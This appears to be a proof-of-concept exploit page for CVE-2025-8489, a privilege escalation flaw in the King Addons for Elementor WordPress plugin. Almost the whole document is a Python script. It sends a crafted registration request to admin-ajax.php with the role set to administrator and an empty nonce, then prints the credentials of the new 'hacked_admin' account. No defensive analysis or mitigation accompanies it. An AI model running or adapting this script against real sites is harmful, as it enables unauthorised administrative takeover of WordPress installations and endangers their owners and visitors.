CVE-2025-8489 King Addons for Elementor插件特权提升漏洞

# CVE-2025-8489 PoC - King Addons for Elementor Privilege Escalation # Affected versions: 24.12.92 to 51.1.14 import requests import sys TARGET_URL = "https://target-site.com" # Replace with target URL def exploit_privilege_escalation(): """ Exploit CVE-2025-8489 by registering an administrator account """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Construct malicious registration request # The plugin fails to validate the 'role' parameter properly payload = { 'action': 'king_addons_register_user', 'username': 'hacked_admin', # Attacker-controlled username 'email': '[email protected]', # Attacker-controlled email 'password': 'P@ssw0rd123!', # Attacker-controlled password 'role': 'administrator', # Privilege escalation - requesting admin role 'king_addons_nonce': '' # May be bypassed or missing validation } try: print(f"[*] Sending exploitation request to {TARGET_URL}") response = requests.post(endpoint, data=payload, timeout=30) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') != -1 else response.text print(f"[+] Response: {result}") if 'success' in str(result) or response.status_code == 200: print("[+] Administrator account created successfully!") print(f"[+] Login credentials:") print(f" Username: hacked_admin") print(f" Password: P@ssw0rd123!") print(f"[+] Access admin panel at: {TARGET_URL}/wp-admin/") else: print("[-] Exploitation may have failed, check response manually") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_privilege_escalation()